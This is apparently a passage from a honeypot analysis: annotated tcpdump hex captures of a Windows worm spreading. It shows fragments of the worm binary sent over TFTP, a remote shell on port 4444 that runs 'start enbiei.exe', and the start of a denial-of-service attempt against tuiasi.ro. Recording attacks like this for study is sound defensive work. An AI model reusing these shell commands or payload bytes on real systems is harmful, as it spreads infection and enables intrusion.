0x00e0 2424 8b4c 2418 8b44 2410 83c6 0440 4983 $$.L$..D$....@I.
0x00f0 c504 83f9 0989 4424 1089 4c24 1889 7424 ......D$..L$..t$
0x0100 140f 8d62 ffff ff81 ff00 0000 0174 0f5f ...b.........t._
0x0110 5e5d 32c0 5b81 c498 0000 00c2 0400 8b82 ^]2.[...........
0x0120 8400 0000 33c9 85c0 763b 8bb4 24ac 0000 ....3...v;..$...
0x0130 008a 0431 84c0 7422 8bba 8800 0000 25ff ...1..t"......%.
0x0140 0000 008b 4484 6889 0c87 33c0 8a04 318b ....D.h...3...1.
0x0150 7c84 688d 4484 6847 8938 8b82 8400 0000 |.h.D.hG.8......
0x0160 413b c872 cc5f 5e5d b001 5b81 c498 0000 A;.r._^]..[.....
0x0170 00c2 0400 5153 568b f157 8b06 8378 0408 ....QSV..W...x..
0x0180 7230 8b08 8a11 4188 5424 0c89 088b 4808 r0....A.T$....H.
0x0190 8b54 240c c1e1 0881 e2ff 0000 000b ca8b .T$.............
0x01a0 5004 83c2 f889 4808 8bca 8950 0483 f908 P.....H....P....
0x01b0 73d0 8b50 048b 4008 b908 0000 002b cad3 s..P..@......+..
0x01c0 e88b 4e24 2500 feff 003b c173 148b 968c ..N$%....;.s....
0x01d0 0000 008b c8c1 e910 33db 8a1c 118b d3eb ........3.......
0x01e0 3b3b 462c 730a 3b46 281b d283 c20a eb2c ;;F,s.;F(......,
0x01f0 3b46 3073 07ba 0b00 0000 eb20 3b46 3473 ;F0s........;F4s
0x0200 07ba 0c00 0000 eb14 3b46 3873 07ba 0d00 ........;F8s....
0x0210 0000 eb08 3b46 3c1b d283 c20f 8b0e 8b79 ....;F<........y
01:49:22.484200 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 19
0x0000 4500 0020 01cf 0000 8011 b54d 800a 097f E..........M....
0x0010 51a8 a87f 040c 0045 000c 77bd 0004 0013 Q......E..w.....
0x0020 7012 4470 c147 0000 0204 05b4 0101 p.Dp.G........
01:49:22.484211 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 19
0x0000 4500 0020 01cf 0000 8011 b54d 800a 097f E..........M....
0x0010 51a8 a87f 040c 0045 000c 77bd 0004 0013 Q......E..w.....
0x0020 7012 4470 c147 0000 0204 05b4 0101 p.Dp.G........
01:49:23.379537 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 20
0x0000 4500 0220 9463 0000 7111 2fb9 51a8 a87f E....c..q./.Q...
0x0010 800a 097f 0045 040c 020c 5f8e 0003 0014 .....E...._.....
0x0020 0403 fa89 7904 8b1c 96b9 1800 0000 2bc3 ....y.........+.
0x0030 2bca 5fd3 e88b 4c96 4403 c18b 8e88 0000 +._...L.D.......
0x0040 005e 5b8b 0481 59c3 5356 578b f933 d233 .^[...Y.SVW..3.3
0x0050 c08d b768 0200 0089 1656 e857 0200 008a ...h.....V.W....
0x0060 8c30 3a40 4400 5ebb 0100 0000 83c6 04d3 .0:@D.^.........
0x0070 e303 d340 83f8 3a72 de8b 4424 108d 4f10 ...@..:r..D$..O.
0x0080 5068 d102 0000 e848 fdff ff50 6a1c 8d8f Ph.....H...Pj...
0x0090 a000 0000 e83a fdff ff50 6a08 8d8f 3001 .....:...Pj...0.
0x00a0 0000 e82c fdff ff50 6a13 8d8f c001 0000 ...,...Pj.......
0x00b0 e81e fdff ff89 8760 0200 005f 5e05 f502 .......`..._^...
0x00c0 0000 5bc2 0400 8b44 2408 8bd1 8b4c 2404 ..[....D$....L$.
0x00d0 5789 028d 4204 8908 c740 0420 0000 0089 W...B....@......
0x00e0 4210 8982 a000 0000 8982 3001 0000 8982 B.........0.....
0x00f0 c001 0000 33c0 b9bd 0000 0089 8250 0200 ....3........P..
0x0100 0089 8254 0200 0089 8258 0200 008b ba60 ...T.....X.....`
0x0110 0200 0089 825c 0200 00f3 ab8b caaa e804 .....\..........
0x0120 0000 005f c208 0081 ec0c 0300 0053 8bd9 ..._.........S..
0x0130 5556 8d6b 0457 6a01 8bcd e829 fcff ff85 UV.k.Wj....)....
0x0140 c075 0e8b bb60 0200 00b9 bd00 0000 f3ab .u...`..........
0x0150 aa33 f66a 048b cde8 0cfc ffff 8844 3410 .3.j.........D4.
0x0160 4683 fe13 72ed 8dbb c001 0000 8d44 2410 F...r........D$.
0x0170 508b cfe8 80fc ffff 84c0 750b 5f5e 5d5b P.........u._^][
0x0180 81c4 0c03 0000 c333 f68b cfe8 e4fd ffff .......3........
0x0190 83f8 1073 158b 8b60 0200 008a 1431 02d0 ...s...`.....1..
0x01a0 80e2 0f88 5434 2446 eb60 7528 6a02 8bcd ....T4$F.`u(j...
0x01b0 e8b3 fbff ff83 c003 85c0 7e4e 81fe f502 ..........~N....
0x01c0 0000 7d52 8a4c 3423 4888 4c34 2446 85c0 ..}R.L4#H.L4$F..
0x01d0 7fea eb36 83f8 1175 0e6a 038b cde8 86fb ...6...u.j......
0x01e0 ffff 83c0 03eb 0c6a 078b cde8 78fb ffff .......j....x...
0x01f0 83c0 0b85 c07e 1381 fef5 0200 007d 17c6 .....~.......}..
0x0200 4434 2400 4648 85c0 7fed 81fe f502 0000 D4$.FH..........
0x0210 0f8c 73ff ffff 8d54 2424 8d4b 1052 e8d5 ..s....T$$.K.R..
01:49:23.380777 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 20
0x0000 4500 0020 01d0 0000 8011 b54c 800a 097f E..........L....
0x0010 51a8 a87f 040c 0045 000c 77bc 0004 0014 Q......E..w.....
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa ..............
01:49:23.380787 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 20
0x0000 4500 0020 01d0 0000 8011 b54c 800a 097f E..........L....
0x0010 51a8 a87f 040c 0045 000c 77bc 0004 0014 Q......E..w.....
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa ..............
01:49:24.285776 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 21
0x0000 4500 0220 9464 0000 7111 2fb8 51a8 a87f E....d..q./.Q...
0x0010 800a 097f 0045 040c 020c 0971 0003 0015 .....E.....q....
0x0020 fbff ff84 c075 0b5f 5e5d 5b81 c40c 0300 .....u._^][.....
0x0030 00c3 8d84 24f5 0200 008d 8ba0 0000 0050 ....$..........P
0x0040 e8b3 fbff ff84 c075 0b5f 5e5d 5b81 c40c .......u._^][...
0x0050 0300 00c3 8d8c 2411 0300 0051 8d8b 3001 ......$....Q..0.
0x0060 0000 e891 fbff ff84 c075 0b5f 5e5d 5b81 .........u._^][.
0x0070 c40c 0300 00c3 c683 6402 0000 0033 c080 ........d....3..
0x0080 bc04 1103 0000 0375 0840 83f8 0872 f0eb .......u.@...r..
0x0090 07c6 8364 0200 0001 8bbb 6002 0000 8d74 ...d......`....t
0x00a0 2424 b9f5 0200 00f3 a45f 5e5d b001 5b81 $$......._^]..[.
0x00b0 c40c 0300 00c3 e801 0000 0090 5e81 eec7 ............^...
0x00c0 4544 00c3 83ec 148b 4424 1c53 5556 c700 ED......D$.SUV..
0x00d0 0000 0000 8b44 2424 5733 ff85 c08b f189 .....D$$W3......
0x00e0 7c24 100f 865b 0200 008d 4e10 e883 fcff |$...[....N.....
0x00f0 ff3d 0001 0000 7313 8b0e 8801 8b0e 4147 .=....s.......AG
0x0100 890e 897c 2410 e929 0200 003d d002 0000 ...|$..)...=....
0x0110 0f83 1302 0000 0500 ffff ff8b e883 e007 ................
0x0120 c1ed 038d 5002 83f8 0789 5424 140f 8594 ....P.....T$....
0x0130 0000 008d 8ea0 0000 00e8 36fc ffff 8b4e ..........6....N
0x0140 0833 db56 e86d ffff ff8a 9c30 1e40 4400 .3.V.m.....0.@D.
0x0150 5e83 f908 7232 8b4e 048a 1141 8854 2418 ^...r2.N...A.T$.
0x0160 894e 048b 4e0c 8b54 2418 c1e1 0881 e2ff .N..N..T$.......
0x0170 0000 000b ca8b 5608 83c2 f889 4e0c 8bca ......V.....N...
0x0180 8956 0883 f908 73ce 8b7e 088b 560c b908 .V....s..~..V...
0x0190 0000 002b cf03 fbd3 eab9 1800 0000 897e ...+...........~
0x01a0 082b cb81 e2ff ffff 00d3 ea33 c956 e803 .+.........3.V..
0x01b0 ffff ff8a 8c30 0240 4400 5e8b 4424 1403 .....0.@D.^.D$..
0x01c0 ca03 c189 4424 148a 8664 0200 008b 9cae ....D$...d......
0x01d0 6802 0000 33d2 56e8 dafe ffff 8a94 353a h...3.V.......5:
0x01e0 4044 005e 84c0 8bfa 7476 83ff 0372 718b @D.^....tv...rq.
0x01f0 4608 8d6f fd83 f808 7231 8b46 048b 560c F..o....r1.F..V.
0x0200 c1e2 088a 0840 884c 241c 8b4e 0889 4604 .....@.L$..N..F.
0x0210 8b44 241c 25ff 0000 0083 c1f8 0bd0 8bc1 .D$.%...........
01:49:24.286799 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 21
0x0000 4500 0020 01d1 0000 8011 b54b 800a 097f E..........K....
0x0010 51a8 a87f 040c 0045 000c 77bb 0004 0015 Q......E..w.....
0x0020 5018 43e7 610a 0000 0000 0055 ff53 P.C.a......U.S
01:49:24.286810 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 21
0x0000 4500 0020 01d1 0000 8011 b54b 800a 097f E..........K....
0x0010 51a8 a87f 040c 0045 000c 77bb 0004 0015 Q......E..w.....
0x0020 5018 43e7 610a 0000 0000 0055 ff53 P.C.a......U.S
01:49:25.191517 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 22
0x0000 4500 0220 9465 0000 7111 2fb7 51a8 a87f E....e..q./.Q...
0x0010 800a 097f 0045 040c 020c 5c17 0003 0016 .....E....\.....
0x0020 83f8 0889 560c 894e 0873 cf8b 4608 8b7e ....V..N.s..F..~
0x0030 0cb9 0800 0000 2bc8 03c5 d3ef b918 0000 ......+.........
0x0040 0089 4608 2bcd 81e7 ffff ff00 d3ef 8d8e ..F.+...........
0x0050 3001 0000 e81b fbff ff03 c38d 1cf8 eb5b 0..............[
0x0060 837e 0808 7231 8b46 048b 560c c1e2 088a .~..r1.F..V.....
0x0070 0840 884c 2420 8b4e 0889 4604 8b44 2420 .@.L$..N..F..D$.
0x0080 25ff 0000 0083 c1f8 0bd0 8bc1 83f8 0889 %...............
0x0090 560c 894e 0873 cf8b 5608 8b46 0cb9 0800 V..N.s..V..F....
0x00a0 0000 2bca 03d7 d3e8 b918 0000 0089 5608 ..+...........V.
0x00b0 2bcf 25ff ffff 00d3 e803 d883 fb03 731a +.%...........s.
0x00c0 8b8c 9e50 0200 0085 db74 308b 9650 0200 ...P.....t0..P..
0x00d0 0089 949e 5002 0000 eb1b 8b86 5402 0000 ....P.......T...
0x00e0 8b96 5002 0000 8d4b fd89 8658 0200 0089 ..P....K...X....
0x00f0 9654 0200 0089 8e50 0200 008b 068b 7c24 .T.....P......|$
0x0100 1441 8d14 383b c289 1673 108b d02b d140 .A..8;...s...+.@
0x0110 8a12 8850 ff8b 163b c272 f08b 4424 1003 ...P...;.r..D$..
0x0120 c789 4424 108b f8eb 0b8b cee8 f7fb ffff ..D$............
0x0130 84c0 741c 3b7c 2428 0f82 abfd ffff 8b44 ..t.;|$(.......D
0x0140 242c 8938 5f5e 5db0 015b 83c4 14c2 0800 $,.8_^]..[......
0x0150 5f5e 5d32 c05b 83c4 14c2 0800 0000 0000 _^]2.[..........
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0800 0000 799f 0000 ............y...
0x0180 8a9f 0000 9d9f 0000 0000 0000 6b65 726e ............kern
0x0190 656c 3332 2e64 6c6c 0000 0047 6574 5072 el32.dll...GetPr
0x01a0 6f63 4164 6472 6573 7300 0000 4765 744d ocAddress...GetM
0x01b0 6f64 756c 6548 616e 646c 6541 0000 004c oduleHandleA...L
0x01c0 6f61 644c 6962 7261 7279 4100 0000 0000 oadLibraryA.....
0x01d0 0000 0000 0000 0000 6c9f 0000 5c9f 0000 ........l...\...
0x01e0 0000 0000 0000 0000 0000 0000 24a0 0000 ............$...
0x01f0 53a0 0000 0000 0000 0000 0000 0000 0000 S...............
0x0200 31a0 0000 5ba0 0000 0000 0000 0000 0000 1...[...........
0x0210 0000 0000 3ca0 0000 63a0 0000 0000 0000 ....<...c.......
01:49:25.192562 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 22
0x0000 4500 0020 01d2 0000 8011 b54a 800a 097f E..........J....
0x0010 51a8 a87f 040c 0045 000c 77ba 0004 0016 Q......E..w.....
0x0020 0000 0001 0000 0000 2043 4b41 4141 .........CKAAA
01:49:25.192572 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 22
0x0000 4500 0020 01d2 0000 8011 b54a 800a 097f E..........J....
0x0010 51a8 a87f 040c 0045 000c 77ba 0004 0016 Q......E..w.....
0x0020 0000 0001 0000 0000 2043 4b41 4141 .........CKAAA
01:49:26.096532 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 23
0x0000 4500 0220 9466 0000 7111 2fb6 51a8 a87f E....f..q./.Q...
0x0010 800a 097f 0045 040c 020c 4daf 0003 0017 .....E....M.....
0x0020 0000 0000 0000 0000 48a0 0000 6ba0 0000 ........H...k...
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 6164 7661 7069 3332 2e64 6c6c ....advapi32.dll
0x0050 0063 7274 646c 6c2e 646c 6c00 7769 6e69 .crtdll.dll.wini
0x0060 6e65 742e 646c 6c00 7773 325f 3332 2e64 net.dll.ws2_32.d
0x0070 6c6c 0073 a000 0000 0000 0081 a000 0000 ll.s............
0x0080 0000 0088 a000 0000 0000 00a4 a000 0000 ................
0x0090 0000 0000 0052 6567 436c 6f73 654b 6579 .....RegCloseKey
0x00a0 0000 0061 746f 6900 0000 496e 7465 726e ...atoi...Intern
0x00b0 6574 4765 7443 6f6e 6e65 6374 6564 5374 etGetConnectedSt
0x00c0 6174 6500 0000 7365 6e64 0000 0000 0000 ate...send......
0x00d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0100 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
01:49:26.097535 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 23
0x0000 4500 0020 01d3 0000 8011 b549 800a 097f E..........I....
0x0010 51a8 a87f 040c 0045 000c 77b9 0004 0017 Q......E..w.....
0x0020 7012 4248 3503 0000 0204 05b4 0101 p.BH5.........
01:49:26.097546 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 23
0x0000 4500 0020 01d3 0000 8011 b549 800a 097f E..........I....
0x0010 51a8 a87f 040c 0045 000c 77b9 0004 0017 Q......E..w.....
0x0020 7012 4248 3503 0000 0204 05b4 0101 p.BH5.........
01:49:26.780418 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: P 40:58(18) ack 144 win
17377 (DF)
0x0000 4500 003a 9467 4000 7106 f1a5 51a8 a87f E..:.g@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8beb c3a8 534c .......\nG....SL
0x0020 5018 43e1 78bc 0000 7374 6172 7420 656e P.C.x...start.en
0x0030 6269 6569 2e65 7865 200a biei.exe..
01:49:26.899281 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 36 DATA block 24
0x0000 4500 0040 9468 0000 7111 3194 51a8 a87f E..@.h..q.1.Q...
0x0010 800a 097f 0045 040c 002c 36d1 0003 0018 .....E...,6.....
0x0020 0000 0000 2000 0000 0000 0000 2000 0000 ................
0x0030 0010 0000 0026 0000 0030 0000 0042 0000 .....&...0...B..
01:49:26.899808 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 24
0x0000 4500 0020 01d4 0000 8011 b548 800a 097f E..........H....
0x0010 51a8 a87f 040c 0045 000c 77b8 0004 0018 Q......E..w.....
0x0020 5018 4200 dfba 0000 8200 0000 4445 P.B.........DE
01:49:26.899816 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 24
0x0000 4500 0020 01d4 0000 8011 b548 800a 097f E..........H....
0x0010 51a8 a87f 040c 0045 000c 77b8 0004 0018 Q......E..w.....
0x0020 5018 4200 dfba 0000 8200 0000 4445 P.B.........DE
01:49:26.911447 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 144:206(62) ack 58
win 17463 (DF)
0x0000 4500 0066 01d5 4000 8006 750c 800a 097f E..f..@...u.....
0x0010 51a8 a87f 115c 0fcb c3a8 534c 6e47 8bfd Q....\....SLnG..
0x0020 5018 4437 ee31 0000 5472 616e 7366 6572 P.D7.1..Transfer
0x0030 2073 7563 6365 7373 6675 6c3a 2031 3138 .successful:.118
0x0040 3038 2062 7974 6573 2069 6e20 3231 2073 08.bytes.in.21.s
0x0050 6563 6f6e 6473 2c20 3536 3220 6279 7465 econds,.562.byte
0x0060 732f 730d 0d0a s/s...
01:49:26.911460 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 144:206(62) ack 58
win 17463 (DF)
0x0000 4500 0066 01d5 4000 8006 750c 800a 097f E..f..@...u.....
0x0010 51a8 a87f 115c 0fcb c3a8 534c 6e47 8bfd Q....\....SLnG..
0x0020 5018 4437 ee31 0000 5472 616e 7366 6572 P.D7.1..Transfer
0x0030 2073 7563 6365 7373 6675 6c3a 2031 3138 .successful:.118
0x0040 3038 2062 7974 6573 2069 6e20 3231 2073 08.bytes.in.21.s
0x0050 6563 6f6e 6473 2c20 3536 3220 6279 7465 econds,.562.byte
0x0060 732f 730d 0d0a s/s...
01:49:27.307686 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: . ack 206 win 17315
(DF)
0x0000 4500 0028 9469 4000 7106 f1b5 51a8 a87f E..(.i@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8bfd c3a8 538a .......\nG....S.
0x0020 5010 43a3 b5e1 0000 b500 0000 0000 P.C...........
Worm is propagated from one machine to another!!!
The newly attacked honeypot is instructed to execute enbiei, beginning to infect others!!!
01:49:27.308904
XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 206:268(62) ack 58 win 17463 (DF)
0x0000 4500 0066 01ed 4000 8006 74f4 800a 097f E..f..@...t.....
0x0010 51a8 a87f 115c 0fcb c3a8 538a 6e47 8bfd Q....\....S.nG..
0x0020 5018 4437 8155 0000 0d0a 433a 5c57 494e P.D7.U....C:\WIN
0x0030 444f 5753 5c73 7973 7465 6d33 323e 7374 DOWS\system32>st
0x0040 6172 7420 656e 6269 6569 2e65 7865 200a art.enbiei.exe..
0x0050 0d0a 433a 5c57 494e 444f 5753 5c73 7973 ..C:\WINDOWS\sys
0x0060 7465 6d33 323e tem32>
01:49:27.308915 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P
206:268(62) ack 58 win 17463 (DF)
0x0000 4500 0066 01ed 4000 8006 74f4 800a 097f E..f..@...t.....
0x0010 51a8 a87f 115c 0fcb c3a8 538a 6e47 8bfd Q....\....S.nG..
0x0020 5018 4437 8155 0000 0d0a 433a 5c57 494e P.D7.U....C:\WIN
0x0030 444f 5753 5c73 7973 7465 6d33 323e 7374 DOWS\system32>st
0x0040 6172 7420 656e 6269 6569 2e65 7865 200a art.enbiei.exe..
0x0050 0d0a 433a 5c57 494e 444f 5753 5c73 7973 ..C:\WINDOWS\sys
0x0060 7465 6d33 323e tem32>
01:49:27.635594 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: . ack 268 win 17253
(DF)
0x0000 4500 0028 946a 4000 7106 f1b4 51a8 a87f E..(.j@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8bfd c3a8 53c8 .......\nG....S.
0x0020 5010 4365 b5e1 0000 b500 0000 0000 P.Ce..........
01:49:28.779633 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: P 58:70(12) ack 268 win
17253 (DF)
0x0000 4500 0034 946b 4000 7106 f1a7 51a8 a87f E..4.k@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8bfd c3a8 53c8 .......\nG....S.
0x0020 5018 4365 c1b7 0000 656e 6269 6569 2e65 P.Ce....enbiei.e
0x0030 7865 200a xe..
01:49:28.781430 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 268:280(12) ack 70
win 17451 (DF)
0x0000 4500 0034 01ee 4000 8006 7525 800a 097f E..4..@...u%....
0x0010 51a8 a87f 115c 0fcb c3a8 53c8 6e47 8c09 Q....\....S.nG..
0x0020 5018 442b c0e5 0000 656e 6269 6569 2e65 P.D+....enbiei.e
0x0030 7865 200a xe..
01:49:28.781442 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 268:280(12) ack 70
win 17451 (DF)
0x0000 4500 0034 01ee 4000 8006 7525 800a 097f E..4..@...u%....
0x0010 51a8 a87f 115c 0fcb c3a8 53c8 6e47 8c09 Q....\....S.nG..
0x0020 5018 442b c0e5 0000 656e 6269 6569 2e65 P.D+....enbiei.e
0x0030 7865 200a xe..
01:49:29.167038 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: . ack 280 win 17241
(DF)
0x0000 4500 0028 946c 4000 7106 f1b2 51a8 a87f E..(.l@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8c09 c3a8 53d4 .......\nG....S.
0x0020 5010 4359 b5d5 0000 b500 0000 0000 P.CY..........
01:49:29.167950 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 280:302(22) ack 70
win 17451 (DF)
0x0000 4500 003e 0203 4000 8006 7506 800a 097f E..>..@...u.....
0x0010 51a8 a87f 115c 0fcb c3a8 53d4 6e47 8c09 Q....\....S.nG..
0x0020 5018 442b 399b 0000 0d0a 433a 5c57 494e P.D+9.....C:\WIN
0x0030 444f 5753 5c73 7973 7465 6d33 323e DOWS\system32>
01:49:29.167960 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 280:302(22) ack 70
win 17451 (DF)
0x0000 4500 003e 0203 4000 8006 7506 800a 097f E..>..@...u.....
0x0010 51a8 a87f 115c 0fcb c3a8 53d4 6e47 8c09 Q....\....S.nG..
0x0020 5018 442b 399b 0000 0d0a 433a 5c57 494e P.D+9.....C:\WIN
0x0030 444f 5753 5c73 7973 7465 6d33 323e DOWS\system32>
01:49:29.385975 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: . ack 302 win 17219
(DF)
0x0000 4500 0028 946d 4000 7106 f1b1 51a8 a87f E..(.m@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8c09 c3a8 53ea .......\nG....S.
0x0020 5010 4343 b5d5 0000 b500 0000 0000 P.CC..........
01:49:30.776698 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: R
1850182665:1850182665(0) win 0 (DF)
0x0000 4500 0028 946e 4000 7106 f1b0 51a8 a87f E..(.n@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8c09 c3a8 53ea .......\nG....S.
0x0020 5004 0000 f924 0000 f900 0000 0000 P....$........
DoS attacking tuiasi.ro
07:05:15.854375 XXX.XXX.XX.10.1026 > XXX.XX.X.41.53: 1+
A? tuiasi.ro . (35)
0x0000 4500 003f 0002 0000 8011 27f0 800a 097f E..?......'.....
0x0010 800a 0929 0402 0035 002b ac57 0001 0100 ...)...5.+.W....
0x0020 0001 0000 0000 0000 0674 7569 6173 690a .........tuiasi.
0x0030 726f 2020 2020 2020 2020 0000 0100 01 ro.............
07:05:15.917324 XXX.XX.X.41.53 > XXX.XXX.XX.10.1026: 1 NXDomain*- 0/1/0 (110)
0x0000 4500 008a e6c0 0000 8011 40e6 800a 0929 E.........@....)
0x0010 800a 097f 0035 0402 0076 22ba 0001 8403 .....5...v".....
0x0020 0001 0000 0001 0000 0674 7569 6173 690a .........tuiasi.
0x0030 726f 2020 2020 2020 2020 0000 0100 0100 ro..............
0x0040 0006 0001 0001 5180 0040 0141 0c52 4f4f ......Q..@.A.ROO
0x0050 542d 5345 5256 4552 5303 4e45 5400 054e T-SERVERS.NET..N
0x0060 5354 4c44 0c56 4552 4953 4947 4e2d 4752 STLD.VERISIGN-GR
0x0070 5303 434f 4d00 7765 12fc 0000 0708 0000 S.COM.we........
0x0080 0384 0009 3a80 0001 5180 ....:...Q.
The rest are omitted to save space